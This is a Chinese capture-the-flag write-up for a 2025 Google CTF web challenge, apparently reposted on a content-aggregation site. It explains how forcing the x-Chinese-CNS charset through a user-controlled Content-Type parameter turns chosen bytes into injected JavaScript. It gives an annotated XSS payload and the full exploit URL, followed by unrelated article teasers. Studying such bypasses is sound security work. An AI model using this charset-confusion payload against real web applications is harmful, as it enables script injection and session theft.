js 允許生成特殊的變量名 基于字符集編碼混淆的 XSS 繞過漏洞 -- Google 2025 Lost In Transliteration

題目實現了一個字符轉換工具

/file路由用戶可以通過?ct 參數自定義 Content-Type

// 文件路由 - 提供靜態文件服務(JS和CSS),支持內容類型驗證
app.MapGet("/file", (string filename = "", string? ct = null, string? q = null) =>
{// 根據文件名查找對應的模板文件string? template = FindFile(filename);if (template is null){return Results.NotFound();}// 設置默認內容類型為純文本ct ??= "text/plain";// 驗證內容類型是否安全if (!IsValidContentType(ct)){return Results.BadRequest("Invalid Content-Type");}// 替換模板中的查詢參數并返回處理后的內容string text = template.Replace("TEMPLATE_QUERY_JS", JsEncode(q));return Results.Text(text, contentType: ct);
});

當 HTTP 響應頭或 Content-Type 指定了 charset=x-Chinese-CNS,瀏覽器會用 CNS 11643 這個字符集來解碼響應體的字節流。CNS 11643 是一種多字節編碼,很多單字節(如常見的 ASCII 范圍)在 CNS 11643 下會被解碼為完全不同的字符,甚至是不可見字符或特殊符號。

簡單來說:
  • 攻擊者不直接寫入?<script>alert(1)</script>

  • 而是計算:在目標字符集?CNS 11643?的編碼規則下,哪些字節序列會被解碼為?<script>alert(1)</script>?這些字符。

  • 攻擊者將計算出的這些特定字節序列寫入響應體。

JavaScript 完全允許使用特殊字符(包括 Unicode 字符)作為變量名。這是 JavaScript 語言規范的一部分。(順便說一句,大部分語言都支持)

// 第一部分:終止字符串并注入代碼
asda?'???:alert  // CNS 11643 解碼后變為:'asda'; alert(1); //// 字節序列:E690B3 → ';   C582C582E690A5 → alert(1);//// 第二部分:創建 setTimeout 的短別名
var μ=setTimeout  // μ (U+00B5) 是合法變量名// CNS 11643 中的 E6838F 解碼為 μ=// 第三部分:使用模板字符串執行 XSS
μ`alert\u0028\u0031\u0029\u002f\u002fD`  
// 等價于:setTimeout('alert(1)//')
// \u0028 → (   \u0031 → 1   \u0029 → )   \u002f → /
// 模板字符串 `` 可替代函數調用括號// 第四部分:干擾性變量聲明
var tag  // 無實際作用,用于增加代碼"合法性"// 第五部分:完成攻擊鏈
μ`';  // CNS 11643 中的 E68EA4 解碼為 μ` // 組合前文形成完整調用:setTimeout('alert(1)//')
/file?filename=script.js&ct=text/html;charset=x-Chinese-CNS&q=asda%E6%90%B3%C5%82%C5%82%E6%90%A5alert%0avar%20%E6%83%8FsetTimeout%0a%E6%8E%A4alert(1)//%E6%92%9F%0avar%20tag%0a%E6%8E%A4

此有效負載經過下面這段代碼將截斷原有代碼

  // 替換模板中的查詢參數并返回處理后的內容string text = template.Replace("TEMPLATE_QUERY_JS", JsEncode(q));

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/87006.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/87006.shtml
英文地址,請注明出處:http://en.pswp.cn/web/87006.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【仿muduo庫實現并發服務器】LoopThreadPool模塊

仿muduo庫實現并發服務器 1.LoopThread模塊1.1成員變量1.2構造函數13線程入口函數1.4獲取eventloop對象GetLoop() 2.LoopThreadPool模塊2.1成員變量2.2構造函數2.3配置線程數量2.4按照配置數量創建線程2.5依次分配Eventloop對象 1.LoopThread模塊 這個模塊是為了將EventLoop與…

華為云Flexus+DeepSeek征文|基于Dify構建文本/圖像/視頻生成工作流

華為云FlexusDeepSeek征文&#xff5c;基于Dify構建文本/圖像/視頻生成工作流 一、構建文本/圖像/視頻生成工作流前言二、構建文本/圖像/視頻生成工作流環境2.1 基于FlexusX實例的Dify平臺2.2 基于MaaS的模型API商用服務 三、構建文本/圖像/視頻生成工作流實戰3.1 配置Dify環境…

相機-IMU聯合標定:IMU更新頻率

文章目錄 ??簡介?? IMU頻率參數錯誤設置的影響? 相機-IMU聯合標定失敗:Optimization failed!?? 確定IMU更新頻率直接通過 rostopic hz 檢查實際頻率檢查 IMU 驅動或數據手冊從 bag 文件統計頻率在這里插入圖片描述修改 `update_rate` 的注意事項**最終建議****常見問題…

動手實踐:如何提取Python代碼中的字符串變量的值

要提取Python代碼中所有變量類型為字符串的變量的值&#xff0c;但不執行代碼&#xff08;避免安全風險&#xff09;&#xff0c;可以通過靜態分析代碼的抽象語法樹&#xff08;AST&#xff09;來實現。以下是完整的解決方案&#xff1a; 本文由「大千AI助手」原創發布&#xf…

Python中字符串isalpha()函數詳解

在 Python 中&#xff0c;isalpha() 是字符串&#xff08;string&#xff09;類型的內置方法&#xff0c;用于檢查字符串中的所有字符是否都是字母字符&#xff08;alphabetic character&#xff09;。以下是詳細說明&#xff1a; 一、基本功能 返回值&#xff1a;布爾值&…

Gradio全解13——MCP詳解(4)——TypeScript包命令:npm與npx

Gradio全解13——MCP詳解&#xff08;4&#xff09;——TypeScript包命令&#xff1a;npm與npx 第13章 MCP詳解13.4 TypeScript包命令&#xff1a;npm與npx13.4.1 概念區分1. npm概念與運行邏輯2. npx概念及特點 13.4.2 操作示例1. 使用npm執行包2. 使用npx執行包3. 常用npm命令…

《推客小程序全鏈路開發指南:從架構設計到裂變運營》

在移動互聯網流量紅利逐漸消退的今天&#xff0c;如何低成本獲客成為企業營銷的核心痛點。推客小程序作為一種基于社交關系的裂變營銷工具&#xff0c;正成為企業突破增長瓶頸的利器。本文將為您全面解析推客小程序的開發定制全流程&#xff0c;幫助您打造專屬的社交裂變營銷平…

中鈞科技參加中亞數字經濟對話會,引領新疆企業數字化新征程!

6月27 日&#xff0c;烏魯木齊成為數字經濟領域的焦點&#xff0c;中國新疆 - 中亞國家數字經濟和數字貿易企業對話會在此盛大舉行。 來自中亞國家及新疆數字經濟領域的100 余位核心代表齊聚一堂&#xff0c;圍繞數字經濟時代的機遇、挑戰與策略展開深度探討。 本次對話會由新…

k8s一鍵部署tongweb企業版7049m6(by why+lqw)

聲明 1.此貼僅供參考&#xff0c;請根據自身需求在測試環境測試和修改。 安裝準備 1.獲取對應的安裝包和授權,并將授權和安裝包放在同一個目錄下 2.docekr已配置遠程倉庫 3.提前拉取jdk的鏡像&#xff08;這里配置了使用openjdk:8&#xff09; 安裝 將以下內容復制到k8s_…

Qt 與 Halcon 聯合開發六:基于海康SDK設計完整的相機類【附源碼】

在現代工業自動化、機器人視覺、等領域&#xff0c;相機模塊的作用至關重要。通過相機模塊采集到的圖像數據&#xff0c;我們能夠進行一系列的圖像處理和分析。為了高效地控制相機和處理圖像&#xff0c;本篇文章將介紹如何使用Qt和Halcon聯合開發一個相機模塊&#xff0c;幫助…

第7篇:Gin模板引擎——服務端頁面渲染

作者:GO兔 博客:https://luckxgo.cn 分享大家都看得懂的博客 引言 在Web開發中&#xff0c;服務端頁面渲染(SSR)依然是構建動態網頁的重要方式。Gin框架雖然以API開發見長&#xff0c;但也內置了強大的模板引擎支持&#xff0c;基于Go標準庫的html/template包實現。本文將深入…

RagFlow 源碼部署啟動指南

一、環境準備 1. 安裝 uv 和 pre-commit 如果已安裝&#xff0c;可跳過。推薦使用官方方式安裝&#xff0c;避免報錯&#xff1a; pipx install uv pre-commit export UV_INDEXhttps://mirrors.aliyun.com/pypi/simple安裝報錯 使用清華源安裝&#xff1a; pipx install uv…

【Python基礎】12 閑談分享:Python用于無人駕駛的未來

引言&#xff1a;一個程序員的自動駕駛夢想 還記得2016年的那個秋天&#xff0c;我第一次坐進特斯拉Model S的駕駛座&#xff0c;體驗Autopilot功能。當方向盤開始自己轉動&#xff0c;車輛在高速公路上自動跟隨前車時&#xff0c;我的內心涌起了一種奇妙的感覺——這不就是我…

為什么js是單線程?

js單線程&#xff0c;同一時間只能做一件事 。js的單線程 主要與它的用途有關。作為瀏覽器腳本語言&#xff0c;js的主要用途是與用戶互動&#xff0c;以及操作DOM。這決定了它只能是單線程&#xff0c;否則會帶來很復雜的同步問題。如果js同時有兩個線程&#xff0c;一個線程在…

DVWA靶場通關筆記-文件包含(Medium級別 9種滲透方法)

目錄 一、文件包含 1、原因 2、危害 3、防范措施 二、代碼審計&#xff08;Medium級別&#xff09; 1、滲透準備 &#xff08;1&#xff09;配置php.ini &#xff08;2&#xff09;file1.php &#xff08;3&#xff09;file2.php &#xff08;4&#xff09;file3.php…

飛云翻倍布林(翻倍密碼系統四線布林版)雙安全系統+均價趨勢指標+日線周線MACD,組合操盤技術圖文分享

如上圖組合操盤套裝指標&#xff0c;主圖指標-翻倍密碼系統四線布林版-飛云翻倍布林。副圖指標1-均價趨勢指標&#xff0c;跟蹤市場均價走勢和趨勢&#xff1b;副圖指標2-日線周線MACD指標&#xff0c;跟蹤日線和周線兩個級別的MACD多空走勢以及共振與否。 主圖指標-飛云翻倍布…

《匯編語言:基于X86處理器》第6章 條件處理(1)

本章向程序員的匯編語言工具箱中引入一個重要的內容&#xff0c;使得編寫出來的程序具備作決策的功能。幾乎所有的程序都需要這種能力。首先&#xff0c;介紹布爾操作&#xff0c;由于能影響CPU狀態標志&#xff0c;它們是所有條件指令的核心。然后&#xff0c;說明怎樣使用演繹…

【分治思想】歸并排序 與 逆序對

歸并排序 歸并排序是一種分治算法&#xff0c;怎么分&#xff0c;怎么治&#xff1f; 分&#xff1a;通過遞歸不斷把數組分成兩半&#xff0c;直到每個子數組只剩 1 個元素&#xff08;天然有序&#xff09;治&#xff1a;把兩個已經排好序的子數組合并成一個有序數組。 把問…

SQL參數化查詢:防注入與計劃緩存的雙重優勢

在數據庫操作中&#xff0c;SQL參數化查詢&#xff08;Parameterized Queries&#xff09;是一種非常有效的技術&#xff0c;它不僅可以防止SQL注入攻擊&#xff0c;還可以提高數據庫查詢的效率&#xff0c;尤其是在與計劃緩存&#xff08;Query Plan Caching&#xff09;結合使…

【你怕一E1】- 孰輕孰重如何斷-組合問題的多種情形

摘要 本視頻講解了組合問題的多種情形,包括多選一、多選二、多選三以及分隊問題的解題方法。首先介紹了從不同人數中選人的不同選擇方式,如一百人中選一人有一百種選擇。隨后,詳細講解了有序思考方法在多選二問題中的應用,通過選隊長的方式列舉不同組合情況,并歸納出選擇規…